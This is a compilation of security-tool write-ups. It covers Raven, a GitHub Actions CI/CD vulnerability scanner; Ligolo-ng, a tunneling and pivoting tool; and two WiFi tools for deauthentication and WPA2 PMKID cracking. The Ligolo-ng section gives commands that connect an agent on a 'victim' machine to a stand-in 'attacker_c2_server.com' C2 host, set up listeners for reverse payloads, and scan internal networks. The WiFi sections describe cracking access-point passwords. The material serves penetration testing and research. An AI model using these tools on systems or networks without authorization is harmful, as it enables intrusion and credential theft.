• Additionally, we found, reported, and disclosed hundreds of other vulnerabilities privately.

Each of the vulnerabilities above has unique characteristics, making it nearly impossible for developers to stay up to date with the latest security trends. Unfortunately, each vulnerability shares a commonality – each exploitation can impact millions of victims.

It was for these reasons that Raven was created, a framework for CI/CD security analysis workflows (and GitHub Actions as the first use case). In our focus, we examined complex scenarios where each issue isn't a threat on its own, but when combined, they pose a severe threat.

Setup && Run

To get started with Raven, follow these installation instructions:

Step 1: Install the Raven package

pip3 install raven-cycode

Step 2: Setup a local Redis server and Neo4j database

docker run -d --name raven-neo4j -p7474:7474 -p7687:7687 --env NEO4J_AUTH=neo4j/123456789 --volume raven-neo4j:/data neo4j:5.12
docker run -d --name raven-redis -p6379:6379 --volume raven-redis:/data redis:7.2.1

Another way to setup the environment is by running our provided docker compose file:

git clone https://github.com/CycodeLabs/raven.git
cd raven
make setup

Step 3: Run Raven Downloader

Org mode:

raven download org --token $GITHUB_TOKEN --org-name RavenDemo

Crawl mode:

raven download crawl --token $GITHUB_TOKEN --min-stars 1000

Step 4: Run Raven Indexer

raven index

Step 5: Inspect the results through the reporter

raven report --format raw

At this point, it is possible to inspect the data in the Neo4j database, by connecting http://localhost:7474/browser/.

Prerequisites

• Python 3.9+
• Docker Compose v2.1.0+
• Docker Engine v1.13.0+

Infrastructure

Raven is using two primary docker containers: Redis and Neo4j. make setup will run a docker compose command to prepare that environment.

Usage

The tool contains three main functionalities, download and index and report.

Download

Download Organization Repositories

usage: raven download org [-h] --token TOKEN [--debug] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] --org-name ORG_NAME

options:
  -h, --help            show this help message and exit
  --token TOKEN         GITHUB_TOKEN to download data from Github API (Needed for effective rate-limiting)
  --debug               Whether to print debug statements, default: False
  --redis-host REDIS_HOST
                        Redis host, default: localhost
  --redis-port REDIS_PORT
                        Redis port, default: 6379
  --clean-redis, -cr    Whether to clean cache in the redis, default: False
  --org-name ORG_NAME   Organization name to download the workflows

Download Public Repositories

usage: raven download crawl [-h] --token TOKEN [--debug] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] [--max-stars MAX_STARS] [--min-stars MIN_STARS]

options:
  -h, --help            show this help message and exit
  --token TOKEN         GITHUB_TOKEN to download data from Github API (Needed for effective rate-limiting)
  --debug               Whether to print debug statements, default: False
  --redis-host REDIS_HOST
                        Redis host, default: localhost
  --redis-port REDIS_PORT
                        Redis port, default: 6379
  --clean-redis, -cr    Whether to clean cache in the redis, default: False
  --max-stars MAX_STARS
                        Maximum number of stars for a repository
  --min-stars MIN_STARS
                        Minimum number of stars for a repository, default   : 1000

Index

usage: raven index [-h] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] [--neo4j-uri NEO4J_URI] [--neo4j-user NEO4J_USER] [--neo4j-pass NEO4J_PASS]
                   [--clean-neo4j] [--debug]

options:
  -h, --help            show this help message and exit
  --redis-host REDIS_HOST
                        Redis host, default: localhost
  --redis-port REDIS_PORT
                        Redis port, default: 6379
  --clean-redis, -cr    Whether to clean cache in the redis, default: False
  --neo4j-uri NEO4J_URI
                        Neo4j URI endpoint, default: neo4j://localhost:7687
  --neo4j-user NEO4J_USER
                        Neo4j username, default: neo4j
  --neo4j-pass NEO4J_PASS
                        Neo4j password, default: 123456789
  --clean-neo4j, -cn    Whether to clean cache, and index f   rom scratch, default: False
  --debug               Whether to print debug statements, default: False

Report

usage: raven report [-h] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] [--neo4j-uri NEO4J_URI]
                    [--neo4j-user NEO4J_USER] [--neo4j-pass NEO4J_PASS] [--clean-neo4j]
                    [--tag {injection,unauthenticated,fixed,priv-esc,supply-chain}]
                    [--severity {info,low,medium,high,critical}] [--queries-path QUERIES_PATH] [--format {raw,json}]
                    {slack} ...

positional arguments:
  {slack}
    slack               Send report to slack channel

options:
  -h, --help            show this help message and exit
  --redis-host REDIS_HOST
                        Redis host, default: localhost
  --redis-port REDIS_PORT
                        Redis port, default: 6379
  --clean-redis, -cr    Whether to clean cache in the redis, default: False
  --neo4j-uri NEO4J_URI
                           Neo4j URI endpoint, default: neo4j://localhost:7687
  --neo4j-user NEO4J_USER
                        Neo4j username, default: neo4j
  --neo4j-pass NEO4J_PASS
                        Neo4j password, default: 123456789
  --clean-neo4j, -cn    Whether to clean cache, and index from scratch, default: False
  --tag {injection,unauthenticated,fixed,priv-esc,supply-chain}, -t {injection,unauthenticated,fixed,priv-esc,supply-chain}
                        Filter queries with specific tag
  --severity {info,low,medium,high,critical}, -s {info,low,medium,high,critical}
                        Filter queries by severity level (default: info)
  --queries-path QUERIES_PATH, -dp QUERIES_PATH
                        Queries folder (default: library)
  --format {raw,json}, -f {raw,json}
                        Report format (default: raw)

Examples

Retrieve all workflows and actions associated with the organization.

raven download org --token $GITHUB_TOKEN --org-name microsoft --org-name google --debug

Scrape all publicly accessible GitHub repositories.

raven download crawl --token $GITHUB_TOKEN --min-stars 100 --max-stars 1000 --debug

After finishing the download process or if interrupted using Ctrl+C, proceed to index all workflows and actions into the Neo4j database.

raven index --debug

Now, we can generate a report using our query library.

raven report --severity high --tag injection --tag unauthenticated

Rate Limiting

For effective rate limiting, you should supply a Github token. For authenticated users, the next rate limiting applies:

• Code search - 30 queries per minute
• Any other API - 5000 per hour

Research Knowledge Base

• Issue Injections
• Pull Request Injections
• Workflow Run Injections
• CodeSee Injections

Current Limitations

• It is possible to run external action by referencing a folder with a Dockerfile (without action.yml). Currently, this behavior isn't supported.
• It is possible to run external action by referencing a docker container through the docker://... URL. Currently, this behavior isn't supported.
• It is possible to run an action by referencing it locally. This creates complex behavior, as it may come from a different repository that was checked out previously. The current behavior is trying to find it in the existing repository.
• We aren't modeling the entire workflow structure. If additional fields are needed, please submit a pull request according to the contribution guidelines.

Future Research Work

• Implementation of taint analysis. Example use case - a user can pass a pull request title (which is controllable parameter) to an action parameter that is named data. That action parameter may be used in a run command: - run: echo ${{ inputs.data }}, which creates a path for a code execution.
• Expand the research for findings of harmful misuse of GITHUB_ENV. This may utilize the previous taint analysis as well.
• Research whether actions/github-script has an interesting threat landscape. If it is, it can be modeled in the graph.

Want more of CI/CD Security, AppSec, and ASPM? Check out Cycode

If you liked Raven, you would probably love our Cycode platform that offers even more enhanced capabilities for visibility, prioritization, and remediation of vulnerabilities across the software delivery.

If you are interested in a robust, research-driven Pipeline Security, Application Security, or ASPM solution, don't hesitate to get in touch with us or request a demo using the form https://cycode.com/book-a-demo/.

Ligolo-Ng - An Advanced, Yet Simple, Tunneling/Pivoting Tool That Uses A TUN Interface

Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).

Features

• Tun interface (No more SOCKS!)
• Simple UI with agent selection and network information
• Easy to use and setup
• Automatic certificate configuration with Let's Encrypt
• Performant (Multiplexing)
• Does not require high privileges
• Socket listening/binding on the agent
• Multiple platforms supported for the agent

How is this different from Ligolo/Chisel/Meterpreter... ?

Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.

When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.

As an example, for a TCP connection:

• SYN are translated to connect() on remote
• SYN-ACK is sent back if connect() succeed
• RST is sent if ECONNRESET, ECONNABORTED or ECONNREFUSED syscall are returned after connect
• Nothing is sent if timeout

This allows running tools like nmap without the use of proxychains (simpler and faster).

Building & Usage

Precompiled binaries

Precompiled binaries (Windows/Linux/macOS) are available on the Release page.

Building Ligolo-ng

Building ligolo-ng (Go >= 1.20 is required):

$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go

Setup Ligolo-ng

Linux

When using Linux, you need to create a tun interface on the Proxy Server (C2):

$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up

Windows

You need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture).

Running Ligolo-ng proxy server

Start the proxy server on your Command and Control (C2) server (default port 11601):

$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates

TLS Options

Using Let's Encrypt Autocert

When using the -autocert option, the proxy will automatically request a certificate (using Let's Encrypt) for attacker_c2_server.com when an agent connects.

Port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval

Using your own TLS certificates

If you want to use your own certificates for the proxy server, you can use the -certfile and -keyfile parameters.

Automatic self-signed certificates (NOT RECOMMENDED)

The proxy/relay can automatically generate self-signed TLS certificates using the -selfcert option.

The -ignore-cert option needs to be used with the agent.

Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.

Using Ligolo-ng

Start the agent on your target (victim) computer (no privileges are required!):

$ ./agent -connect attacker_c2_server.com:11601

If you want to tunnel the connection over a SOCKS5 proxy, you can use the --socks ip:port option. You can specify SOCKS credentials using the --socks-user and --socks-pass arguments.

A session should appear on the proxy server.

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

Use the session command to select the agent.

ligolo-ng » session 
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

Display the network configuration of the agent using the ifconfig command:

[Agent : nchatelain@nworkstation] » ifconfig 
[...]
┌─────────────────────────────────────────────┐
│ Interface 3                                 │
├──────────────┬──────────────────────────────┤
│ Name         │ wlp3s0                       │
│ Hardware MAC │ de:ad:be:ef:ca:fe            │
│ MTU          │ 1500                            │
│ Flags        │ up|broadcast|multicast       │
│ IPv4 Address │ 192.168.0.30/24             │
└──────────────┴──────────────────────────────┘

Add a route on the proxy/relay server to the 192.168.0.0/24 agent network.

Linux:

$ sudo ip route add 192.168.0.0/24 dev ligolo

Windows:

> netsh int ipv4 show interfaces

Idx     Mét         MTU          État                Nom
---  ----------  ----------  ------------  ---------------------------
 25           5       65535  connected     ligolo

> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]

Start the tunnel on the proxy:

[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation   

You can now access the 192.168.0.0/24 agent network from the proxy server.

$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]

Agent Binding/Listening

You can listen to ports on the agent and redirect connections to your control/proxy server.

In a ligolo session, use the listener_add command.

The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server.

[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!            

On the proxy:

$ nc -lvp 4321

When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.

This is very useful when using reverse tcp/udp payloads.

You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:

[Agent : nchatelain@nworkstation] » listener_list 
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners                                                              │
├───┬─────────────────────────┬─────   ───────────────────┬────────────────────────┤
│ # │ AGENT                   │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────&   #9508;
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234           │ 127.0.0.1:4321         │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘

[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.                             

Demo

Does it require Administrator/root access ?

On the agent side, no! Everything can be performed without administrative access.

However, on your relay/proxy server, you need to be able to create a tun interface.

Supported protocols/packets

• TCP
• UDP
• ICMP (echo requests)

Performance

You can easily hit more than 100 Mbits/sec. Here is a test using iperf from a 200Mbits/s server to a 200Mbits/s connection.

$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[  5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval           Transfer     Bitrate         Retr  Cwnd
[  5]   0.00-1.00   sec  12.5 MBytes   105 Mbits/sec    0    164 KBytes       
[  5]   1.00-2.00   sec  12.7 MBytes   107 Mbits/sec    0    263 KBytes       
[  5]   2.00-3.00   sec  12.4 MBytes   104 Mbits/sec    0    263 KBytes       
[  5]   3.00-4.00   sec  12.7 MBytes   106 Mbits/sec    0    263 KBytes       
[  5]   4.00-5.00   sec  13.1 MBytes   110 Mbits/sec    2    134 KBytes       
[  5]   5.00-6.00   sec  13.4 MBytes   113 Mbits/sec    0    147 KBytes       
[  5]   6.00-7.00   sec  12.6 MBytes   105 Mbits/sec    0    158 KBytes       
[  5]   7.00-8.00   sec  12.1 MBytes   101 Mbits/sec    0    173 KBytes       
[  5]   8.   00-9.00   sec  12.7 MBytes   106 Mbits/sec    0    182 KBytes       
[  5]   9.00-10.00  sec  12.6 MBytes   106 Mbits/sec    0    188 KBytes       
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec   127 MBytes   106 Mbits/sec    2             sender
[  5]   0.00-10.08  sec   125 MBytes   104 Mbits/sec                  receiver

Caveats

Because the agent is running without privileges, it's not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.

When using nmap, you should use --unprivileged or -PE to avoid false positives.

Todo

• Implement other ICMP error messages (this will speed up UDP scans) ;
• Do not RST when receiving an ACK from an invalid TCP connection (nmap will report the host as up) ;
• Add mTLS support.

Credits

• Nicolas Chatelain <nicolas -at- chatelain.me>

Airgorah - A WiFi Auditing Software That Can Perform Deauth Attacks And Passwords Cracking

Airgorah is a WiFi auditing software that can discover the clients connected to an access point, perform deauthentication attacks against specific clients or all the clients connected to it, capture WPA handshakes, and crack the password of the access point.

It is written in Rust and uses GTK4 for the graphical part. The software is mainly based on aircrack-ng tools suite.

⭐ Don't forget to put a star if you like the project!

Legal

Requirements

This software only works on linux and requires root privileges to run.

You will also need a wireless network card that supports monitor mode and packet injection.

Installation

The installation instructions are available here.

Usage

The documentation about the usage of the application is available here.

License

This project is released under MIT license.

Contributing

If you have any question about the usage of the application, do not hesitate to open a discussion

If you want to report a bug or provide a feature, do not hesitate to open an issue or submit a pull request

Pmkidcracker - A Tool To Crack WPA2 Passphrase With PMKID Value Without Clients Or De-Authentication

This program is a tool written in Python to recover the pre-shared key of a WPA2 WiFi network without any de-authentication or requiring any clients to be on the network. It targets the weakness of certain access points advertising the PMKID value in EAPOL message 1.

Program Usage

python pmkidcracker.py -s <SSID> -ap <APMAC> -c <CLIENTMAC> -p <PMKID> -w <WORDLIST> -t <THREADS(Optional)>

NOTE: apmac, clientmac, pmkid must be a hexstring, e.g b8621f50edd9

How PMKID is Calculated

The two main formulas to obtain a PMKID are as follows:

1. Pairwise Master Key (PMK) Calculation: passphrase + salt(ssid) => PBKDF2(HMAC-SHA1) of 4096 iterations
2. PMKID Calculation: HMAC-SHA1[pmk + ("PMK Name" + bssid + clientmac)]

This is just for understanding, both are already implemented in find_pw_chunk and calculate_pmkid.

Obtaining the PMKID

Below are the steps to obtain the PMKID manually by inspecting the packets in WireShark.

*You may use Hcxtools or Bettercap to quickly obtain the PMKID without the below steps. The manual way is for understanding.